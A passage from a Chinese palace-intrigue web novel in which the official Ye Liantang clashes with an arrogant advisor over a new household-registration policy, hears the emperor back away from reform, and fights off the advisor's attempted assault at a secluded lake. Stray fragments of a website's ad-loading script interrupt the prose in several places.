童姣笑,“羊肉与饼烩烤炖焖, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便称‘羊肉胡卜’。” “这莫不是……” “正是。”童姣会心一笑,“这是你上次带来的那位胡人娘子,契荣做的。” “当真?”叶帘堂又夹了旁边一盘子,道:“这我知道,毕罗。” “蟹黄毕罗,也是契荣做的。”只见童姣神秘兮兮地一笑,从桌角拎出来个小坛子,向她晃了晃,道:“猜猜这是什么?” 叶帘堂登时两眼放光,兴奋道:“难不成是新酒,新口味?” “瞧你那点出息。”童姣一笑,问:“尝尝?” 她这句话像是带着钩子,差点从叶帘堂口中勾出“尝”来,待叶帘堂脑子稍稍转弯,便嗅出些许不对劲,心想:“童姣一向只管开酒,从不多问一句话,今日这一问……” “……等等,不尝!”叶帘堂惊叫,“你先告诉我,这坛酒要是开了,我得给多少银子?” “什么?”这下轮到童姣疑惑了,待她反应过来,将那坛酒往桌上重重一搁,道:“你爱喝不喝……喂,你到底将我看作是什么人?见钱眼开?” 叶帘堂警惕道:“那你问我做什么?” “我不过是同你故弄玄虚!”童姣气道:“这酒是方才契荣听说你来,特地叫我带上来的。你不喝就算了,竟还疑神疑鬼!” 叶帘堂这下恍然大悟,嘿嘿笑道:“既如此,是在下错了。” 童姣也只是装装样子,并不是真的生气,此时侧过半边身子,为她开了酒,倒了半杯递过来。 叶帘堂定睛一瞧,此酒色泽幽黑如纯漆,新奇地在手里转着瞧。 “此酒补气血,养心肺,壮筋骨,驱湿邪。”童姣介绍道:“名为龙膏。” 叶帘堂仰头一饮而尽,登时神爽。忙不迭赞叹道:“契荣竟有这般手艺。” 这时又心头一转,笑嘻嘻道:“如今我也立了新府,你该将契荣还给我了吧?” 童姣一听这话,登时从椅子上站了起来,道:“大人您这就是不讲理,当初将她送来我这儿,说是让她自个儿还账,如今知道她的好,便又想要回去?你当她是个什么物件?” 叶帘堂见她似乎真动了气,忙起身安慰道:“哎呀,好娘子。我这不是在同你玩笑吗?” 童姣这才慢慢坐下,道:“我可不管你是真心还是玩笑,我只告诉你,这事没门儿,你最好收起心思。” “是,是。”叶帘堂安抚地笑了笑,“我也许久未见契荣了,不如你今夜别叫她做工了,她的那份工钱我替她还上。今日我们一同聊天,喝酒。如何?” “你先立字据。”童姣起身,“写她的工钱你补上,我再去叫人。” 叶帘堂登时笑道:“你还嫌我误会你,我看你就是见钱眼开!” 笑闹间,忽听楼下一声巨响,紧接着是盘子酒盏劈里啪啦摔碎的脆声。 紧接着便听到有人大喊:“我管你什么登记不登记户籍的,到了你大爷我这儿,都得给我跪下当孙子!” 叶帘堂听见“户籍”二字心头一紧,忙推开雅阁的门向下看去。 15. 新政 “爷乃张氏豪强府中上宾,从来都是自由自在,不受约束,你们这些蠢货如今拿着一支笔,一沓册子,便觉着自己高人一等了?” 那人一挥手,再掷随了一坛酒壶,指着面前站着的一行人,骂道:“我呸!都给爷滚开!” 童姣见状冷哼一声,转身吩咐道:“你们几个给我记好,他今日摔碎了多少东西,要赔多少银钱,回头上他府里要。” 叶帘堂侧过头,问:“那是谁?” “吴津河,是昭武副尉的随军幕僚。”童姣将事情安排好,继续道:“才华横溢,眼高于顶。” 叶帘堂皱了下眉,缓步往楼下走去。 厅下,那吴津河又是掀桌又是砸碗,为首的朝廷官员却岿然不动,待他骂完只是微微拱手,正色道:“此乃朝廷新策,先生也莫要为难小人,还请于此页上摁压手印。。” “你们听不懂话是吧?滚!”吴津河又举起一盏酒杯,作势要摔下。 “先生,且慢。” 忽听一线声音温煦如风,从他身后传来。 吴津河下意识撇过头,见一道清瘦身影扶着雕花木梯缓缓而来。 “你又是谁,也配同我说话?” 叶帘堂闻言笑了笑,摇头道:“我配不配说话不要紧,但若是先生继续砸下去,恐怕是要赔不起了。” 吴津河闻言冷笑一声,啧啧嗤道:“鼠辈,目光短浅啊……你可知晓爷是谁?” 叶帘堂没有回话,只是指着他手上那樽酒盏道:“先生,手可要捉紧了,那个,五十两。” 吴津河一听,登即将酒盏摔下,笑道:“五十两?打发叫花子呢?” 叶帘堂叹了口气,继续指着他先前摔过的酒壶,不紧不慢道:“那个,一百两。” “素盘三十两一个,地上一共碎了八个。” “先生脚下那瘸了一条腿的木凳,一百五十两。” “木桌,二百两。” “……” 芙蓉酒肆本就是阆京城中数一数二的酒肆,楼里装修摆件用品,全部都是一水的奢华富丽风,贵的要命。 如今这吴津河又砸又摔的,这满地渣子都快比她新置办的小院贵了。 待叶帘堂细细替他算完,露出一双洁白的牙齿,笑道:“银子。” 围观人群亲眼看见吴津河抖了一下,硬撑着喊:“休要骗人,我从未在这儿见过你,你凭何说这些!” 他旁边几个小弟一听,急忙出声附和道:“是啊,我们从未见过你,你凭什么出来管事儿?” “正是,还不快块滚过来,给我们吴爷磕头赔罪?” 那边登记户籍的官员认得她,刚想出声阻止,却见叶帘堂偷偷向他摆了摆手,示意他莫要插手。他便暗自点了头,带着人退后几步。 吴津河一听小弟恭维,自信许多,慢步向叶帘堂逼近。 方才喝了酒,离得远,看不清人。此时走得近了,才发现这人一张面皮生得从容弘雅,站在富丽堂皇的酒楼之中更显得光彩沛然。 他不禁恍了恍神,开口问:“……你叫什么名字?” 叶帘堂一闪身,嫌恶地避开了他伸来的手,只是道:“先生,户籍乃朝廷新策,还是莫要违背,徒惹是非。” “哈哈。”吴津河大笑,伸手钳住叶帘堂的手腕,道:“怕什么,我乃昭武副尉亲聘幕僚,是他张氏府中上宾,敢得罪爷,便等着收拾收拾下牢去吧!” 叶帘堂心里呸了一声,早听说那昭武副尉嚣张,没曾想连他府里的幕僚都成了这个德行……更何况,在这公共场合明目张胆的羞辱朝廷官员,真嫌活得久了。 她甩开吴津河的手,冷笑:“先生还真是威风。” 吴津河吃多了酒,脑子本就一片混沌,如今见面前人红唇一张一合,更是连好赖话都分不清了,扯着嘴角不怀好意道:“爷威风的事可不只这一桩,不如随我回府,我慢慢讲与你听……” 他底下那小弟们闻言都开始偷偷笑,其中一个起哄道:“吴爷今日是有好事啦?” 吴津河听着哄笑声,胆子愈发大了起来,抬手又要往叶帘堂的颊边摸。 就在众人都以为这俊俏小郎君就要惨遭毒手时,忽听“啪”的一声脆响,吴津河的脸随声向一旁偏了过去。 那,那小郎君竟打了他一巴掌。 叶帘堂眉眼温和,嘴角仍带着笑,却在吴津河要转过头时,“啪”地又给了一掌。 两掌似乎还不够解气,只见叶帘堂一掌一掌毫不拖泥带水,狠厉地朝着吴津河的右侧脸甩去。 直至最后一巴掌利落打完,她甩了甩手,看着面前人高高肿起的一侧脸,自觉在韩将军手底下学有所成,满意笑道:“先生,你方才说什么?” 吴津河顿时酒醒,怒不可遏,扬手作势又要打回来。 叶帘堂冷笑一声,抬脚便往他□□踢。 重击过后,吴津河摔倒在地,怒目切齿,向着叶帘堂恨道:“混账!等我告了副尉,叫你下诏狱,你定然生不如死!” 叶帘堂闻言一脚蹬在吴津河肩上,直视着他,笑道:“是,是。快些回去找你主人告状去吧。虽然你是只家畜,但新策还是要遵循的。” 顺着叶帘堂的脸色,那几个朝堂小吏便快步上前,将吴津河的指印摁在册上,这样便算是大功告成。 吴津河的小弟们自知丢脸,急急忙忙将地上哎呦叫唤的吴爷架回了府。 童姣在楼上看着戏,如今这头落幕,她暗叹一声:“精彩。”转眼又瞅见底下七零八碎的一地碎渣,面色又转了阴,挥手招人,道:“摔碎的东西都记好了没有?明日一早便去登门要钱!” 几个朝廷官员围上来向叶帘堂道谢,她摆了摆手,问:“方才我与他说了那么久,到底还是没能得知,那吴先生为何就是不肯登册?” 其中一人回道:“他说那户籍繁琐,还说此等制度专是用来束缚才子的枷锁。” “哼,恬不知耻。依我看,这吴先生自视甚高,定是认为自己身乃副尉幕僚,不肯与庶民同列户籍。” “我看他是不肯交税吧,据说他名下田地宅子有许多呢。” 叶帘堂听着他们左一句右一句,默默想:“新政若想顺利实行,还有太多需要补全完善的地方。正如现下,不同的社会阶级利益不同,新政若能及时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 平衡,便对国家大有裨益。” 待送走了几位官员,遣散了人群。叶帘堂正要回楼上雅阁,忽见一人从后院厨房冲了进来,手里挥着一把锅铲,怒道:“是谁要欺负恩人?” 见原本散去的人群隐隐有聚拢的趋势,叶帘堂急忙捂着脸,将慢半拍的契荣一把捉进了雅阁。 * 夏日暴雨来如决堤,电尾烧着黑云,似是要将屋顶都掀翻。 这日韩将军临时放了课,雷雨正盛,不好出宫,叶帘堂便去了太子的明德殿逗鸟。 细竹笼里,正一只羽色斑斓,眼若明珠的虎皮鹦哥。李意卿正在内殿做着课业,叶帘堂扭头向里头问:“你怎么给它换笼子了?” “这个好看。”李意卿的声音从里间传来,有些模糊。 叶帘堂想了想,又问:“它叫什么名儿?” “笨伯。” “难听。”叶帘堂转过头,从宫人手里接过鸟食,亲自喂给它,“为什么要叫这个?” “……因为它好吃懒做,只会说‘笨’。” 果然,那头太子话音刚落,这边笨蛋就叫道:“哇!笨!笨!” 里头传来李意卿爽朗的笑。 叶帘堂不信邪,拿着柳条逗弄,对着它慢慢念:“两个、黄鹂、鸣翠柳。” “笨伯”张嘴:“笨!” 叶帘堂不管不顾,继续:“两个、黄鹂、鸣翠柳。” “笨!” “两个、黄……” “笨!” “两……” “笨!” 叶帘堂气着站起来,指着它道:“好你个笨伯,还真是个只会说笨的笨伯!” 里头李意卿哈哈笑:“你在说什么绕口令?” 叶帘堂喂完鸟,竹帘一挑便进了内殿,道:“没意思。” 李意卿慢慢写着字,听她这话便搁了笔,道:“那下棋?” 叶帘堂趴在窗棱上,“不想下。” 李意卿站起身,忽然问:“翠居的荷花开了,你去瞧过没有?” 闻言,叶帘堂眼睛亮了亮,道:“外头还下着雨……” 李意卿瞧他一眼,眉间朱砂痣显得他双眼分外明亮,向着她抬了抬下巴,示意现在出去。 叶帘堂有些犹豫,自己跑出去就算了,若是太子跟着她出去,沾上寒气生病了怎么办。 李意卿见她迟迟不动,便伸手将她往自己这边拉,问:“怎么了?” 叶帘堂撇了撇嘴,罕见地腼腆道:“这不合规矩吧。” 李意卿狐疑地瞄她一眼,“你什么时候这么守规矩了?” 叶帘堂有些想笑,用力压下嘴角,道:“若是……” “可别想了。”李意卿却最见不得人扭扭捏捏,拉着她就往外边跑,边跑边笑,道:“想去就去呗。” 叶帘堂慌乱扒住门框,问:“不拿伞吗?” “拿什么拿。”李意卿道:“我前些日子才看了话本子,雨中奔跑,这叫恣意的少年时光。” 见叶帘堂还是一脸纠结,他便趁她不注意,一把将她拽了出来,哈哈笑道:“大不了一起淋成落汤鸡!” 16. 夜色 第二日,两人果不其然齐刷刷染上了风寒。 叶帘堂打了个喷嚏,幽怨地盯着李意卿,慢慢道:“这便是殿下所谓的,恣意的少年时光?” 李意卿悄悄看她一眼,小声道:“你昨日不也玩的挺开心。” “反,反正我昨日劝说过你了。”叶帘堂撇开头,目光盯着面前桌案上热气腾腾的汤药,“陛下若是问起来,可要记得给我求情。” 太子趴在床上,摆了摆手,“放心好了,我你还信不过吗。” 叶帘堂听罢,捏着鼻子将手边的汤药一饮而尽,又往嘴里塞了颗蜜饯去苦,这才掀开竹帘出了明德殿。 林太医此时正挎着药箱,站在廊下同隆生交代药方。 见她出来,林太医行了礼,将她拉至一旁苦口婆心道:“好我的叶大人,殿下春末才好了高热,如今入夏又染了风寒,再好的身子也禁不起这般折腾,以后大人可万不能再由着他乱来了。” 叶帘堂一拍脑门,心道:“我怎将这事儿忘了,那太子是个半大个小孩,不懂事,她怎么也陪着他瞎胡闹!” 她连忙拱了拱手,道:“是在下失职,今后绝不会纵着太子殿下。” 林太医皱着眉,拿指头虚虚点了点她,叹了口气,“大人你也是,上次手心被刀划出那么长一道口子,还哎哟哎哟地喊疼呢。如今也不好好养着,非要跟太子出去淋雨……手伸出来我看看,有没有发炎?” 叶帘堂嘿嘿笑着,将右手递出,“林太医,我这伤口早就好了,你那几日的嘱托我都记着,这手啊,是一滴水也没碰,一次笔也没握,养的十分好呢。” 林太医仔细瞧这,看叶帘堂手掌中那道从小指延伸至腕骨的刀疤如今的确是愈合的干净,只剩下浅浅一道痕迹。 “真亏叶大人命好,那刀再深一寸,就要割及心脉。”林太医摇摇头,“如今这疤痕是消不掉了。” 叶帘堂笑笑,“哎,留着才好,日后若有人敢欺负我,我便拿这刀疤吓唬他。” 林太医似乎是被气笑了,松开握着她的手,恨铁不成钢道:“叶大人,你身为文官,先不说手上的唯一的伤竟不是握笔握出来的,就我看大人指尖宛若葱根,连颗死茧都不曾有,真是……” 叶帘堂摆手道:“哎,林太医,和和气气的说这些干嘛。” 林太医甩甩袖子,虚虚指了指她,威胁道:“这个夏日可别再让老头儿我往这东宫跑了啊,你不知道这离太医院有多远,一路过来骨头都快颠碎了。” 叶帘堂嘿嘿笑,拱手道:“放心罢。” 送走林太医,这头太子的小厨房已经送来了午饭。 桌上雪碗冰瓯盛着碗葫芦头泡馍。 肉酥香溢,汤醇馍软。 叶帘堂咽了咽口水,两眼放光,“噔噔噔”从门口跑回案前。李意卿亲自给她递了双筷子,颇有示软的意味。 叶帘堂吃人嘴软,昨日之事本来她也不占理,如今还得求着太子去给皇帝说好话,便顺着台阶下了。 待吃饱喝足,叶帘堂便在翠居一觉睡至了天色擦黑。 她软手软脚地从床上爬起来,觉得舒服了不少,便屏退下人去后院温泉浴池里舒舒服服泡了半个时辰,又用茉莉玉屑将重新熨过的衣裳薰得香喷喷。 夏日闷热,叶帘堂差人将窗户半开通风,用帕巾将一头湿漉漉的黑发裹住,靠在床头静静看书。 正此时,忽见陶青有些慌乱地走了进来,禀道:“大人,咱家方才见陛下从明德殿出来,此刻往翠居拐!” “什么?”叶帘堂大惊,正待她起身穿鞋之际,外头已然传来了皇帝内侍潘福尖细的通传声。 内侍侍卫鱼贯而进,叶帘堂低头跪地,只听见有脚步声愈来愈近,最后在她身上投下阴影。明昭帝温和道:“起来吧。” 她战战兢兢站了起来,明昭帝已经自如地坐上了一旁的紫檀木椅,道:“身子可有好些了?” 叶帘堂不敢怠慢,忙道:“回陛下,好多了。” 明昭帝微微点头,将她打量一眼,慢慢开口,“听说前些日子你在宫外打了人?” 叶帘堂心下一惊,心里估摸着是吴津河那家畜给主人告了状,查到她头上来了,便大方承认道:“是那位吴先生对臣动手动脚,臣才……” 明昭帝却摇了摇头,提点道:“新策呢?” 叶帘堂愣了一瞬,这才明白过来,皇帝并不关心她打没打人,他只关心此举对于新策实施的裨益。 相通这点,叶帘堂心下了然,道:“臣是听说,那吴幕僚自傲高洁,若与庶民同列户籍之中,恐有失身份。” 明昭帝轻轻颔首,“士人一向以修身治国平天下为志,是断然不肯从云尖儿落下来的。” “士志于道,却耻恶衣恶食的平民?”叶帘堂轻声笑了笑,道:“他既心怀天下,志在四方,岂会以世俗之利禄,乱其高洁之志节?” 明昭帝叹了口气,缓缓道:“叶侍读,自你于春闱策论写下那行‘人人皆可为舜尧’时,朕便知晓你的志向。” “自那日见你之后,朕便总是翻来覆去,夜不能寐,脑中反复琢磨你之所言。”明昭帝站起身,目光穿过半敞的雕花小窗,凝视着无边夜色,“如何才能行得通呢?” 叶帘堂默默立在一旁。 “自昨日那昭武副尉无诏入宫,闯进雪芸殿时,朕突然就想明白,想通了。”明昭帝回过头,一双眼沉沉盯着她,“朕明白,行不通的。” “朕对他们偶尔‘宽容’,却被错认成了‘平等’。”明昭帝声音渐渐沉了下去,“朕的确是曾被你描述出的那个平等世间所打动……但,天下绝不可能有纯粹的公平与平等——起码在这里,不会有,也不能有。” “天道无私,众生皆有机会展现其才,各安其命,各得其所。”明昭帝笑着摇头,“否则,天下乱矣。” 叶帘堂默默无言,不知该说什么。 “编户齐民,无分贵贱,皆入籍中,此乃平衡之初衷,朕不会改。”明昭帝缓缓道:“此举虽不能尽如人意,但也该给官僚富户一些……不同。” 叶帘堂听了许久,这时才开口道:“制度便该因时制宜,适时调整。臣明白。” 明昭帝见她低着头,问:“你真的明白?” 叶帘堂道:“户籍之制,初意乃在安邦定国,均平赋役。然时移世 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 异,今天既觉行之不通,则变法以应实势,实为必然。” “如此便好。”明昭帝欣慰地拍拍叶帘堂的肩膀,道:“朕知晓你是人才,不愿与你离心,这才特意来与你说道此事。” “臣知晓,臣明白。” “你既想的通,朕也放心了。”明昭帝笑笑,“昭武副尉那边朕会替你摆平,你且放心睡吧。” 叶帘堂行礼恭送皇帝。良久,却没站起来。 陶青急忙上前扶她,见叶帘堂面色苍白,失魂落魄的被他扶在臂间。 他见状,急道:“叶大人!您,您怎么了,可别吓我……” 竟然以“我”自称,看来是真的慌了。 叶帘堂摇了摇头,笑出声来。 陶青脸色顿时“唰”地一下白了,试探道:“大人,大人?” “是我天真。”叶帘堂淡笑,“竟真觉着,陛下是能改天换地之人。” “笑话。”她摇着头,“若他真是,史书上怎连他的名都未曾留下?” 陶青慌乱地捂住她的嘴,压低声音道:“大人您疯了?此话怎可乱讲!” 叶帘堂扶着陶青站了起来,吐出一口气道:“罢了,是我一时得意忘形,竟忘记自己脚踏何地,身处何时了。无事。” 她转头,向着陶青笑了笑,“我没事,你去替我将蜡烛吹灭了罢,我有些困。” 陶青应声去做,忽听身后又道:“算了,留上一支吧。” 他回过头,听叶帘堂轻轻道:“也不能一点光亮都没有,否则这夜也太黑了些。” 陶青点头,按照吩咐,将青铜树灯只留下一支开花,阖上门,叶帘堂便静静在房里坐着。 光线晦暗,月光顺着雕花小格慢慢流进,又被成片的花色屏风拦住,溶成模糊不清的一片。 她叹息一声,将自己裹进了被褥里。 * “什么?陛下竟饶了他?”吴津河一时气急,手边名贵的茶器便被拨至地上,登时四分五裂。 上首坐着的昭武副尉张喆冷冷瞥他一眼,沉声道:“你如今在我府上摔摔打打,是想做什么?” 吴津河自知不妥,只好又腆着个脸去那人膝下跪着,讨好道:“将军,那鼠辈将我都打成那样了,您看,这边脸都还肿着,夜里睡觉都不敢翻身,实在是痛呐。” “他是太子侍读,皇帝当然偏袒他。”张喆睨他一眼,轻蔑道:“你自己私下处理不好,还指望陛下替你出手?” 吴津河闻言,眼睛一亮,抬头问道:“将军的意思是?” “谁人不知你李氏是我府中之人,叶悬逸他敢打你,便是打我的脸面。”张喆冷笑一声,杏色麒麟服在烛光下淡淡生辉,他从墙上卸一把利刃,刀鞘摩擦间铿然作响。 “你去寻个由头,把他送来我手里。”张喆嘴角浮出一丝笑,“能办得干净吗?” 吴津河跪谢道:“能,能!谢将军,谢将军。” 张喆将他扶起来,露出惨白的牙齿笑道:“你若办得好,本将军便亲自替你剥去他的皮。” 园中一颗老桃残花败叶,风动时便毫无声息地簌簌落下,默不作声地归于尘土。 17. 脊檩 “那刺客死了?”明昭帝双眸微暗,低声问。 “是。”潘福躬身回道:“据说是……服毒死的。” “服毒,他哪来的毒?”明昭帝闻言冷笑一声,摇头叹息:“如此说,朕的地牢里竟还藏有奸细?哈哈,乱啊——” 潘福低着头,不敢妄语。 “双腿废了,瞎了一只眼,手筋也挑了。”明昭帝低头笑道:“从春末至今,过了三个月,什么都不肯说……他竟硬撑到这个地步,背后到底是什么人?” 潘福抖了抖,问:“陛下是觉着……” “罢了。”明昭帝并没想听他的回答,只是自顾自道:“谁在背后指使这一切,朕连想都不敢想。” 潘福小心地伺候上一盏温茶。 “退下去吧。”明昭帝叹一口气,“朕乏了,让竹帘将日光遮的紧密些。” “是。”潘福伸手放下卷起的竹帘,将夏日毒辣的日光挡在外面。 待众人出去后,明昭帝依旧笔直的坐在书案前,隔了良久,才缓缓泄下气。 他疲惫地靠在雕花椅背上,仰起酸痛的颈脖,目光便自然地便落在了屋顶。他望见几根巨大的粗木横架于上,作为脊檩,旁边许多细小木椽触头接尾,纵横交错,累累拼接而上,宛如天成之网,稳固而庄严。 明昭帝的目光久久不愿移开,便维持着一个仰头半拉伸的可笑姿势,心想:“瞧着井然有序,但若其中一根被虫蛀掉了,或是坏掉,断掉。这雪芸殿,也将不复存在。” 一木若损,房屋将倾。 他忽然笑起来,闭上眼,将自己的身体全然抛掷于椅上,心里不知腾起一片什么滋味。 城北刺杀太子的刺客死了,意味着线索断了。线索断了,他便不会再知道自己身边到底是谁存有异心。 不知道是谁…… 明昭帝缓缓睁开双眼,不知道是谁,那这面上就都算是太平,这样,便可当作无事发生。若是非要追查到底,保不齐会鱼死网破……何必呢? “是啊,何必呢?”他自欺欺人似的地不断重复着,“何必呢……” 不知过了多久,明昭帝才苦笑出声。听不出是因着恐惧,还是庆幸。 * 艳阳息鼓,天光黯淡。 这日叶帘堂下了晚课,刚乘着马车赶到宫门口,便见旁边候着两个笼袖提灯的内侍,其中一个见了她的马车便走了过来,细声细气地禀道:“叶大人,三皇子有旨,叫您先别急则出宫,他在月湖等您。” 叶帘堂指尖提溜着折扇,闻言掀开车帘一角,向下看去。见正同她讲话的内侍估摸着十三四岁,生得机灵漂亮。 “月湖?”叶帘堂疑道:“三殿下叫我去那儿做什么?” 那小太监恭谨地低着头,道:“咱家只是个来传话的,也不晓得这些。” 叶帘堂点了点头,正欲下车,忽然问:“怎么是你来传话,殿下身边的宁安呢?” 小太监低头回道:“宁安公公替三殿下出宫跑腿了,这才叫小的来。” 叶帘堂点点头,想着今日上课确实没看见宁安,估摸着是李意骏又让他找到了什么好玩的,便点点头下了车,道:“走吧?” 那小太监低着头,却没动。 “怎么了?”叶帘堂问。 小太监低声道:“无事,只是今日舌上不慎生了烂疮,想问问叶大人有没有法子治?” “我哪来的药……”叶帘堂随口答话,说到一半猛然便停住,抬眼问道:“……公公因何生的烂疮?” “前几日,有贵人赏了小的一只羊,恐怕是贪食多用了些,上了火。”小太监低着头回话,叶帘堂看不清他的神色。 不远处另一个年纪大些的公公许是等的不耐烦,提着灯笼走过来催道:“叶大人,快些走吧,可别让殿下久等了。” 小太监回话道:“大人说他落了东西在马车上,要去取。” “算了,既然三殿下还在等着,那东西取不取都不妨事儿。”叶帘堂笑了笑,向着那老太监道:“是,这就走。” 语罢,回过头认真地看了那小太监一眼。 月湖在皇城最南边,平时少有人来。于是越往后走,四周就越是僻静昏暗。 叶帘堂一边走着路一边东张西望,左看看又看看,瞧见什么都稀奇,好像真是心情十分愉悦。 待走到了月湖,却没见三皇子的身影。 她转身疑惑道:“不是说三殿下在这等着呢?” 忽见身后那一老一小太监已没了影儿,前头树影摇摇,夜色中,吴津河手里摇着一柄象牙扇向她走来。 “叶侍读,多日未见,某可是实在想念的紧。” 叶帘堂瞧着他,意外道:“吴先生,怎么是你?” 前些日子太子偷溜出宫,这几天才加严了宫禁。现下看着这位吴幕僚依旧来去自如,她便能在心里头确定,这人背后的昭武副尉,手伸的可不只一般长。 吴津河摇着扇子,慢悠悠道:“殿下临时有事,某来代劳。” “先生前些日子不是还在陛下那儿告了在下一状吗?”叶帘堂哼道:“在下同先生没什么好说。” 吴津河见她神色不渝,似是生了闷气,心中一软,语气不自觉柔和了许多,“哎呦,那日叶大人出手也忒狠了些,某实在是……” 叶帘堂扭过身,不看他,“是,那先生告状了也该出了气,如今又想做什么?” 这吴津河是个典型的好了伤疤忘了痛,也许在军事谋略上的确有些建树,但此刻见面前人扭着身子不愿看他,顷刻间便将自己此行是来做什么的忘了个干净,心里美滋滋地想:“他这是和爷闹脾气呢。” 吴津河又伸手去拉她,问:“哦?那你想如何啊?” 叶帘堂闪身避过他的手,往一旁的假山躲,软声道:“在下不知道,先生自己想。” 吴津河一听,心里只剩下一个念头,“哟,这是在和爷玩欲擒故纵呢。” 他哈哈一笑,迈腿追近,“某近来偶然寻见个宝贝,你定然喜欢。” 夜色渐浓,叶帘堂的身影闪进假山便看不见了,只听声音道:“那先生明日将那东西带过来,我们再说罢。” 语罢,便像是雨落入水中,再也寻不到了。 吴津河心急,在假山里头转悠了半天也没能找到人,只觉得心痒难耐却不敢喧哗,只得低声喊:“叶侍读,你去哪里了?” 没有回音。 吴津河不死心,又低声呼唤了几道音。忽见远处灯笼闪烁,好不巧,竟是宫里得侍卫巡逻到了此处。 他只得在矮身钻进假山的一处角落,待侍卫巡逻走过,才从其中钻了出来。 腿麻脚麻,夜风一吹,他打了两个喷嚏,搓了搓手,一颗心却仍在发烫,脚步飞快地出了宫。 * 六月光景殊胜,烈日将这座皇城晒得金瓦烁烁,犹如龙鳞一般闪耀。 翠居中的几池芙蕖早已亭亭如盖,荷立 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清池,叶展翠裳。 叶帘堂懒洋洋趴在一旁的石桌上,玩着李意卿前些日子新给她磨的一盘棋。 棋盘色泽温润,纹理细腻,实乃上等的瑶台宝局。 她回想起李意卿向她介绍的情形:小太子先是指着白子道:“这是象牙烧制的,细腻水滑,摸上去冰冰凉凉的十分舒服。”再指着黑子道:“这是用玛瑙烧的,玲珑剔透,漂亮吧?” 想到这,叶帘堂嘴角勾起一抹笑。但心里转念一想,到了晚上还要见吴津河,笑容变瞬间隐了下去。 她向来不是个喜欢以身试险的人,但昨日,自己想起明昭帝因着吴津河那事儿来找她,气不打一处来,脑门一热便做出了那样的事情。 一路上东看看西看看也只是在找逃跑路线,万一对方带了太多人,夜色浓重,自己还是有机会逃跑的。 幸好那吴津河是个色胆包天的。 思及此,叶帘堂抬手唤来陶青,问:“三殿下身边,除了宁安,是不是还有一个年纪小,个子也小,长得很清秀一小孩儿?” 陶青沉思片刻,点头道:“是有些印象,好像是叫……蓝溪?” “蓝溪?”叶帘堂手一抖,一颗黑棋没捉稳便掉下了石桌。 陶青俯身替她去捡,疑惑问道:“怎么,大人认得她吗?” 那当然!蓝溪不正是几个月前在城北救了太子的小女孩儿吗!现下李意骏将她带在身边,又是在搞什么名堂? 叶帘堂急忙调整表情回复镇定,向着陶青笑笑:“不认识,她昨日帮我牵了会儿马,我想将她叫来谢上一谢。” 陶青想了想,道:“这会儿她应该在花房种花呢,大人要叫她过来吗?” 叶帘堂点头,笑道:“请她过来喝盏茶,偷会儿懒。” “是。” 没过一会儿,蓝溪便跟在陶青身后走了过来。 叶帘堂向她招了招手,陶青见状便明白两人是有话要说,没走近,只站在池边看鱼。 蓝溪走近向她行了礼,道:“叶大人。” 叶帘堂嘿嘿笑着,赶忙让她坐下,问:“你怎么入宫了?” “在宫里能吃得饱。”蓝溪回。 叶帘堂“奥奥”点着头,又想说什么,便见蓝溪冷着一张小脸,道:“大人,您莫要同我这般亲近,于理不合。” “再者说……”蓝溪不动声色打量一眼周围,压低声音道:“皇城人多眼杂,我与大人不应来往。” 叶帘堂这才止住话头,叹了口气,“是我昏了头。我叫你来,是想谢谢你昨日的提醒。” 蓝溪有些诧异地抬起头,问:“大人,您听懂了?” “啊?”叶帘堂也懵了,“我当然听懂了啊。” “那您为什么不跑?” “我……”叶帘堂缓了声音,最终没有深讲,只是轻声道:“我想看看,是谁。” “大人昨日既已看着了,为何今日还要去?” 叶帘堂想着以此作为吴津河的话柄,让明昭帝借此查查张家的事情,便含糊道:“我自有打算……对了,你昨日,为何帮我?” 蓝溪低下头,有些不自在地绞起手指,良久才小声道:“大人给了我那串玉环……我都记得的。” 叶帘堂愣了半晌,嘴角翘起来,却在心底叹了口气。 同蓝溪道了别,天色逐渐暗下来。 叶帘堂瞅着远处宫人踩高点亮宫灯,便将棋子收好,站起身,向着月湖的方向去了。 18. 羽林 石径蜿蜒通幽处,水波不兴静如禅。湖面潋滟映着弯月,夜色虚虚笼罩着假山。 叶帘堂先从假山后面观望了一阵,确定只有吴津河一人后,才徐徐绕了出来。 吴津河见着她,登时眼前一亮,快步走上前来,“叶侍读,怎么来得如此晚啊?” 叶帘堂不动声色地避开他伸来的手,不咸不淡地开口道:“先生昨日说的宝贝呢?” 只见吴津河嘿嘿一笑,从袖中掏出来个小盒子,朝她招了招手,道:“凑近些。” 那雕花小盒一转,露出里面些许的白。 叶帘堂看不清,便再凑近了看,原来是盒香膏。 “瞧着也没什么稀奇。”她嘟囔道。 吴津河闻言,眯一双眼,目光在从的侧脸滴溜溜绕了一圈,转向她雪白的颈脖,不由心神荡漾。 “这香膏妙就妙在气味。”吴津河眼睛粘在她身上,将香膏往她鼻尖凑,“你来闻闻。” 叶帘堂不欲同他亲近,便伸手想自己拿过来闻。不料那吴津河蓦然捉住她的手指,在掌心轻轻摩挲,轻声道:“何必那么麻烦,叶侍读,你便就着我的手闻吧?” 叶帘堂一怔,警觉地将手往后抽,谁知手收得急了,重心有些不稳,向后倒去。 吴津河急忙扑过来拉她,手掌顺势借着劲托住了她的腰身。 这下还得了,斯人在怀,这是多好的机会,心底压抑的欲望霎时燎便全身,长臂一伸直接将人锢在怀中,口中胡乱道:“……悬意,你叫我抱一下,就一下……” 叶帘堂恶心的冷汗乍出,狠狠挣扎,用力往他脚上踩,怒喝:“你疯了吗!滚!” 吴津河这下哪里还管得了那些,一双鼻子凑到她颈下猛吸,“心肝儿,可别叫我滚……别生气……” 叶帘堂曲起肘尖狠狠撞向他肋骨。 只听那人闷哼一声,她趁机从中拖出身来,借着惯性退到假山边上。 吴津河捂着肋下,骂道:“贱人!爷宠着你,你就蹬鼻子上脸是吧?看爷怎么教训你!” 语罢,竟又朝着她的方向扑来。 叶帘堂身后抵着假山,手边摸到块硬邦邦的物件,不管三七二十一便一把抄了起来,往扑来那人的头上招呼了过去。 石头砸到头颅发出一声闷响,吴津河一声闷哼都没来得及发出,便直直栽倒在她脚边。 